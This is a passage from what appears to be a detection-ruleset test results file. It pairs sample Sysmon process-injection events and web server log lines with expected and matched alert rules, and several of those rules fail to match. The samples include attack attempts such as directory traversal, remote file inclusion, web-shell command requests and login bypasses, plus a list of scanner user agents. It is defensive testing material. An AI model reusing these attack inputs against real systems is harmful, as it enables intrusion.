Injection\",\"sourceProcessId\":\"5016\",\"sourceImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"newThreadId\":\"5492\",\"sourceProcessGuid\":\"{4dc16835-8df4-60f5-367c-340000000000}\",\"targetImage\":\"C:\\\\\\\\Windows\\\\\\\\explorer.exe\"},\"system\":{\"eventID\":\"8\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"CreateRemoteThread detected:\\r\\nRuleName: technique_id=T1055,technique_name=Process Injection\\r\\nUtcTime: 2021-07-19 15:56:08.048\\r\\nSourceProcessGuid: {4dc16835-8df4-60f5-367c-340000000000}\\r\\nSourceProcessId: 5016\\r\\nSourceImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetProcessGuid: {4dc16835-8ca1-60f5-99cb-100000000000}\\r\\nTargetProcessId: 5052\\r\\nTargetImage: C:\\\\Windows\\\\explorer.exe\\r\\nNewThreadId: 5492\\r\\nStartAddress: 0x0000000002630000\\r\\nStartModule: -\\r\\nStartFunction: -\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-19T15:56:08.0602748Z\",\"eventRecordID\":\"275938\",\"threadID\":\"3736\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"8\",\"processID\":\"2420\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.newThreadId": "5492", "win.eventdata.ruleName": "technique_id=T1055,technique_name=Process Injection", "win.eventdata.sourceImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.sourceProcessGuid": "{4dc16835-8df4-60f5-367c-340000000000}", "win.eventdata.sourceProcessId": "5016", "win.eventdata.startAddress": "0x0000000002630000", "win.eventdata.targetImage": "C:\\\\Windows\\\\explorer.exe", "win.eventdata.targetProcessGuid": "{4dc16835-8ca1-60f5-99cb-100000000000}", "win.eventdata.targetProcessId": "5052", "win.eventdata.utcTime": "2021-07-19 15:56:08.048", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8", "win.system.eventRecordID": "275938", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2420", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-19T15:56:08.0602748Z", "win.system.task": "8", "win.system.threadID": "3736", "win.system.version": "2"}, "field_names": ["win.eventdata.newThreadId", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGuid", "win.eventdata.sourceProcessId", "win.eventdata.startAddress", "win.eventdata.targetImage", "win.eventdata.targetProcessGuid", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92400", "rule_matches_expected": false, "ini_file": "sysmon_eid_8.ini", "section": "Possible code injection on explorer.exe"} +{"log": "{\"win\":{\"eventdata\":{\"targetProcessGuid\":\"{4dc16835-13d3-615e-a46d-620000000000}\",\"targetProcessId\":\"4620\",\"startAddress\":\"0x000001DC199F0000\",\"utcTime\":\"2021-10-06 21:24:08.946\",\"ruleName\":\"technique_id=T1055,technique_name=Process Injection\",\"sourceProcessId\":\"5108\",\"sourceImage\":\"C:\\\\\\\\Windows\\\\\\\\explorer.exe\",\"newThreadId\":\"1696\",\"sourceProcessGuid\":\"{4dc16835-0ceb-615e-5eda-090000000000}\",\"targetImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\mstsc.exe\"},\"system\":{\"eventID\":\"8\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"CreateRemoteThread detected:\\r\\nRuleName: technique_id=T1055,technique_name=Process Injection\\r\\nUtcTime: 2021-10-06 21:24:08.946\\r\\nSourceProcessGuid: {4dc16835-0ceb-615e-5eda-090000000000}\\r\\nSourceProcessId: 5108\\r\\nSourceImage: C:\\\\Windows\\\\explorer.exe\\r\\nTargetProcessGuid: {4dc16835-13d3-615e-a46d-620000000000}\\r\\nTargetProcessId: 4620\\r\\nTargetImage: C:\\\\Windows\\\\System32\\\\mstsc.exe\\r\\nNewThreadId: 1696\\r\\nStartAddress: 0x000001DC199F0000\\r\\nStartModule: -\\r\\nStartFunction: -\\\"\",\"version\":\"2\",\"systemTime\":\"2021-10-06T21:24:08.9461786Z\",\"eventRecordID\":\"449981\",\"threadID\":\"3376\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"8\",\"processID\":\"2480\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.newThreadId": "1696", "win.eventdata.ruleName": "technique_id=T1055,technique_name=Process Injection", "win.eventdata.sourceImage": "C:\\\\Windows\\\\explorer.exe", "win.eventdata.sourceProcessGuid": "{4dc16835-0ceb-615e-5eda-090000000000}", "win.eventdata.sourceProcessId": "5108", "win.eventdata.startAddress": "0x000001DC199F0000", "win.eventdata.targetImage": "C:\\\\Windows\\\\System32\\\\mstsc.exe", "win.eventdata.targetProcessGuid": "{4dc16835-13d3-615e-a46d-620000000000}", "win.eventdata.targetProcessId": "4620", "win.eventdata.utcTime": "2021-10-06 21:24:08.946", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8", "win.system.eventRecordID": "449981", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2480", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-06T21:24:08.9461786Z", "win.system.task": "8", "win.system.threadID": "3376", "win.system.version": "2"}, "field_names": ["win.eventdata.newThreadId", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGuid", "win.eventdata.sourceProcessId", "win.eventdata.startAddress", "win.eventdata.targetImage", "win.eventdata.targetProcessGuid", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92401", "rule_matches_expected": false, "ini_file": "sysmon_eid_8.ini", "section": "Possible code injection on mstsc.exe"} +{"log": "{ \"win\": { \"eventdata\": { \"targetProcessGuid\": \"{94f48244-7831-6169-8c00-000000001b00}\", \"targetProcessId\": \"5516\", \"startAddress\": \"0x0000000002D91120\", \"utcTime\": \"2021-10-15 12:46:41.416\", \"ruleName\": \"technique_id=T1055,technique_name=Process Injection\", \"sourceProcessId\": \"5372\", \"sourceImage\": \"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\AccountingIQ.exe\", \"newThreadId\": \"5524\", \"sourceProcessGuid\": \"{94f48244-782d-6169-8900-000000001b00}\", \"targetImage\": \"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\SyncHost.exe\" }, \"system\": { \"eventID\": \"8\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"CreateRemoteThread detected:\\r\\nRuleName: technique_id=T1055,technique_name=Process Injection\\r\\nUtcTime: 2021-10-15 12:46:41.416\\r\\nSourceProcessGuid: {94f48244-782d-6169-8900-000000001b00}\\r\\nSourceProcessId: 5372\\r\\nSourceImage: C:\\\\Users\\\\Public\\\\AccountingIQ.exe\\r\\nTargetProcessGuid: {94f48244-7831-6169-8c00-000000001b00}\\r\\nTargetProcessId: 5516\\r\\nTargetImage: C:\\\\Windows\\\\SysWOW64\\\\SyncHost.exe\\r\\nNewThreadId: 5524\\r\\nStartAddress: 0x0000000002D91120\\r\\nStartModule: -\\r\\nStartFunction: -\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-15T12:46:41.5602188Z\", \"eventRecordID\": \"55995\", \"threadID\": \"3584\", \"computer\": \"accounting.xrisbarney.local\", \"task\": \"8\", \"processID\": \"2192\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.newThreadId": "5524", "win.eventdata.ruleName": "technique_id=T1055,technique_name=Process Injection", "win.eventdata.sourceImage": "C:\\\\Users\\\\Public\\\\AccountingIQ.exe", "win.eventdata.sourceProcessGuid": "{94f48244-782d-6169-8900-000000001b00}", "win.eventdata.sourceProcessId": "5372", "win.eventdata.startAddress": "0x0000000002D91120", "win.eventdata.targetImage": "C:\\\\Windows\\\\SysWOW64\\\\SyncHost.exe", "win.eventdata.targetProcessGuid": "{94f48244-7831-6169-8c00-000000001b00}", "win.eventdata.targetProcessId": "5516", "win.eventdata.utcTime": "2021-10-15 12:46:41.416", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "accounting.xrisbarney.local", "win.system.eventID": "8", "win.system.eventRecordID": "55995", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2192", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-15T12:46:41.5602188Z", "win.system.task": "8", "win.system.threadID": "3584", "win.system.version": "2"}, "field_names": ["win.eventdata.newThreadId", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGuid", "win.eventdata.sourceProcessId", "win.eventdata.startAddress", "win.eventdata.targetImage", "win.eventdata.targetProcessGuid", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92402", "rule_matches_expected": false, "ini_file": "sysmon_eid_8.ini", "section": "Possible code injection on synchost.exe"} +{"log": "{ \"win\": { \"eventdata\": { \"targetProcessGuid\": \"{94f48244-0aee-6177-0c00-000000002300}\", \"targetProcessId\": \"600\", \"startAddress\": \"0x000001F727DE0000\", \"utcTime\": \"2021-10-25 16:21:35.166\", \"ruleName\": \"technique_id=T1055,technique_name=Process Injection\", \"sourceProcessId\": \"5000\", \"sourceImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"newThreadId\": \"1016\", \"sourceProcessGuid\": \"{94f48244-c73d-6176-4302-000000002300}\", \"targetImage\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\" }, \"system\": { \"eventID\": \"8\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"CreateRemoteThread detected:\\r\\nRuleName: technique_id=T1055,technique_name=Process Injection\\r\\nUtcTime: 2021-10-25 16:21:35.166\\r\\nSourceProcessGuid: {94f48244-c73d-6176-4302-000000002300}\\r\\nSourceProcessId: 5000\\r\\nSourceImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetProcessGuid: {94f48244-0aee-6177-0c00-000000002300}\\r\\nTargetProcessId: 600\\r\\nTargetImage: C:\\\\Windows\\\\system32\\\\lsass.exe\\r\\nNewThreadId: 1016\\r\\nStartAddress: 0x000001F727DE0000\\r\\nStartModule: -\\r\\nStartFunction: -\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-25T16:21:35.1717366Z\", \"eventRecordID\": \"116149\", \"threadID\": \"3124\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"8\", \"processID\": \"2292\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.newThreadId": "1016", "win.eventdata.ruleName": "technique_id=T1055,technique_name=Process Injection", "win.eventdata.sourceImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.sourceProcessGuid": "{94f48244-c73d-6176-4302-000000002300}", "win.eventdata.sourceProcessId": "5000", "win.eventdata.startAddress": "0x000001F727DE0000", "win.eventdata.targetImage": "C:\\\\Windows\\\\system32\\\\lsass.exe", "win.eventdata.targetProcessGuid": "{94f48244-0aee-6177-0c00-000000002300}", "win.eventdata.targetProcessId": "600", "win.eventdata.utcTime": "2021-10-25 16:21:35.166", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "8", "win.system.eventRecordID": "116149", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2292", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-25T16:21:35.1717366Z", "win.system.task": "8", "win.system.threadID": "3124", "win.system.version": "2"}, "field_names": ["win.eventdata.newThreadId", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGuid", "win.eventdata.sourceProcessId", "win.eventdata.startAddress", "win.eventdata.targetImage", "win.eventdata.targetProcessGuid", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92403", "rule_matches_expected": false, "ini_file": "sysmon_eid_8.ini", "section": "Possible code injection on lsass.exe, possible credential dumping"} +{"log": "Jul 19 07:28:02 localhost systemd: Failed to mark scope session-1024.scope as abandoned : Stale file handle", "decoder": "systemd", "parent": "", "fields": {}, "field_names": [], "rule": "40701", "level": "0", "expected_decoder": "systemd", "expected_rule": "40701", "rule_matches_expected": true, "ini_file": "systemd.ini", "section": "Stale file handle."} +{"log": "Aug 13 13:20:58 master systemd: Time has been changed", "decoder": "systemd", "parent": "", "fields": {}, "field_names": [], "rule": "40705", "level": "5", "expected_decoder": "systemd", "expected_rule": "40705", "rule_matches_expected": true, "ini_file": "systemd.ini", "section": "System time changed"} +{"log": "{ \"user\": \"root\" }", "decoder": "json", "parent": "", "fields": {"dstuser": "root"}, "field_names": ["dstuser"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "999286", "rule_matches_expected": false, "ini_file": "user.ini", "section": "User is considered an alias for the static user field"} +{"log": "Wed Jul 27 18:32:27 2016 [pid 2] CONNECT: Client \"fe80::baac:6fff:fe7d:d2e0\"", "decoder": "vsftpd", "parent": "vsftpd", "fields": {"action": "CONNECT", "srcip": "fe80::baac:6fff:fe7d:d2e0"}, "field_names": ["action", "srcip"], "rule": "11401", "level": "3", "expected_decoder": "vsftpd", "expected_rule": "11401", "rule_matches_expected": true, "ini_file": "vsftpd.ini", "section": "CONNECT"} +{"log": "Wed Jul 27 18:32:27 2016 [pid 2] CONNECT: Client \"10.11.12.13\"", "decoder": "vsftpd", "parent": "vsftpd", "fields": {"action": "CONNECT", "srcip": "10.11.12.13"}, "field_names": ["action", "srcip"], "rule": "11401", "level": "3", "expected_decoder": "vsftpd", "expected_rule": "11401", "rule_matches_expected": true, "ini_file": "vsftpd.ini", "section": "CONNECT"} +{"log": "Mon Oct 24 11:32:53 2016 [pid 1] [$ALOC$] FAIL LOGIN: Client \"10.55.112.101\"", "decoder": "vsftpd", "parent": "vsftpd", "fields": {"dstuser": "$ALOC$", "srcip": "10.55.112.101", "status": "FAIL LOGIN"}, "field_names": ["dstuser", "srcip", "status"], "rule": "11403", "level": "5", "expected_decoder": "vsftpd", "expected_rule": "11403", "rule_matches_expected": true, "ini_file": "vsftpd.ini", "section": "LOGIN"} +{"log": "Mon Oct 24 11:32:53 2016 [pid 1] [$ALOC$] FAIL LOGIN: Client \"fe80::baac:6fff:fe7d:d2e0\"", "decoder": "vsftpd", "parent": "vsftpd", "fields": {"dstuser": "$ALOC$", "srcip": "fe80::baac:6fff:fe7d:d2e0", "status": "FAIL LOGIN"}, "field_names": ["dstuser", "srcip", "status"], "rule": "11403", "level": "5", "expected_decoder": "vsftpd", "expected_rule": "11403", "rule_matches_expected": true, "ini_file": "vsftpd.ini", "section": "LOGIN"} +{"log": "{\"vulnerability\":{\"package\":{\"name\":\"ncurses\",\"version\":\"5.9-14.20130511.el7_4\",\"architecture\":\"x86_64\"},\"cve\":\"CVE-2019-17594\", \"status\":\"Solved\", \"reference\":\"fb783b1c771a643f81259a93248e7f61e9a4a597\"}}", "decoder": "json", "parent": "", "fields": {"vulnerability.cve": "CVE-2019-17594", "vulnerability.package.architecture": "x86_64", "vulnerability.package.name": "ncurses", "vulnerability.package.version": "5.9-14.20130511.el7_4", "vulnerability.reference": "fb783b1c771a643f81259a93248e7f61e9a4a597", "vulnerability.status": "Solved"}, "field_names": ["vulnerability.cve", "vulnerability.package.architecture", "vulnerability.package.name", "vulnerability.package.version", "vulnerability.reference", "vulnerability.status"], "rule": "23502", "level": "3", "expected_decoder": "json", "expected_rule": "23502", "rule_matches_expected": true, "ini_file": "vuln_detector.ini", "section": "cve: removed "} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"POST /wp-comments-post.php HTTP/1.1\" 403 181 \"-\" \"Googlebot/1", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "POST", "srcip": "10.0.0.5", "url": "/wp-comments-post.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31501", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31501", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "WordPress Comment Spam (coming from a fake search engine UA)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"POST /wp-comments-post.php HTTP/1.1\" 403 181 \"-\" \"msnbot/1", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "POST", "srcip": "10.0.0.5", "url": "/wp-comments-post.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31501", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31501", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "WordPress Comment Spam (coming from a fake search engine UA)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"POST /wp-comments-post.php HTTP/1.1\" 403 181 \"-\" \"BingBot/1", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "POST", "srcip": "10.0.0.5", "url": "/wp-comments-post.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31501", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31501", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "WordPress Comment Spam (coming from a fake search engine UA)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /examplethumb.php?src=example.php HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/examplethumb.php?src=example.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31502", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31502", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "TimThumb vulnerability exploit attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"POST /example.php/login.php?cPath= HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "POST", "srcip": "10.0.0.5", "url": "/example.php/login.php?cPath="}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31503", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31503", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "osCommerce login.php bypass attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"POST /admin/example.php/login.php HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "POST", "srcip": "10.0.0.5", "url": "/admin/example.php/login.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31504", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31504", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "osCommerce file manager login.php bypass attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /example/cache/externalexample.php HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/example/cache/externalexample.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31505", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31505", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "TimThumb backdoor access attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /examplecart.php?exampletemplatefile=../ HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/examplecart.php?exampletemplatefile=../"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31506", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31506", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Cart.php directory transversal attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET / HTTP/1.1\" 403 181 \"-\" \"ZmEu\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31508", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31508", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (known malicious user agent)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET / HTTP/1.1\" 403 181 \"-\" \"libwww-perl/1.1 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31508", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31508", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (known malicious user agent)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET / HTTP/1.1\" 403 181 \"-\" \"the beast\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31508", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31508", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (known malicious user agent)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET / HTTP/1.1\" 403 181 \"-\" \"Morfeus\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31508", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31508", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (known malicious user agent)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET / HTTP/1.1\" 403 181 \"-\" \"ZmEu (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31508", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31508", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (known malicious user agent)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET / HTTP/1.1\" 403 181 \"-\" \"Nikto (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31508", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31508", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (known malicious user agent)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET / HTTP/1.1\" 403 181 \"-\" \"w3af.sourceforge.net (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31508", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31508", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (known malicious user agent)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"POST /example/wp-login.php HTTP/1.1\" 200 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "200", "protocol": "POST", "srcip": "10.0.0.5", "url": "/example/wp-login.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31509", "level": "3", "expected_decoder": "web-accesslog", "expected_rule": "31509", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "CMS (WordPress or Joomla) login attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"POST /administrator HTTP/1.1\" 200 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "200", "protocol": "POST", "srcip": "10.0.0.5", "url": "/administrator"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31509", "level": "3", "expected_decoder": "web-accesslog", "expected_rule": "31509", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "CMS (WordPress or Joomla) login attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /index.html? HTTP/1.1\" 200 4617 \"-\" \"Wget/1.15 (linux-gnu)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "200", "protocol": "GET", "srcip": "10.0.0.5", "url": "/index.html?"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31511", "level": "0", "expected_decoder": "web-accesslog", "expected_rule": "31511", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Blacklisted user agent (wget)."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET /example/uploadify.php?src=http://example.php HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "/example/uploadify.php?src=http://example.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31512", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31512", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "Uploadify vulnerability exploit attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET example/delete.php?board_skin_path=http://example.php HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": "GET", "srcip": "10.0.0.5", "url": "example/delete.php?board_skin_path=http://example.php"}, "field_names": ["id", "protocol", "srcip", "url"], "rule": "31513", "level": "6", "expected_decoder": "web-accesslog", "expected_rule": "31513", "rule_matches_expected": true, "ini_file": "web_appsec.ini", "section": "BBS delete.php exploit attempt."} +{"log": "10.0.0.5 - - [1/Apr/2014:00:00:01 -0500] \"GET example/shell.php?cmd= HTTP/1.1\" 403 181 \"-\" \"Mozilla/5.0 (X11)\"", "decoder": "web-accesslog", "parent": "", "fields": {"id": "403", "protocol": 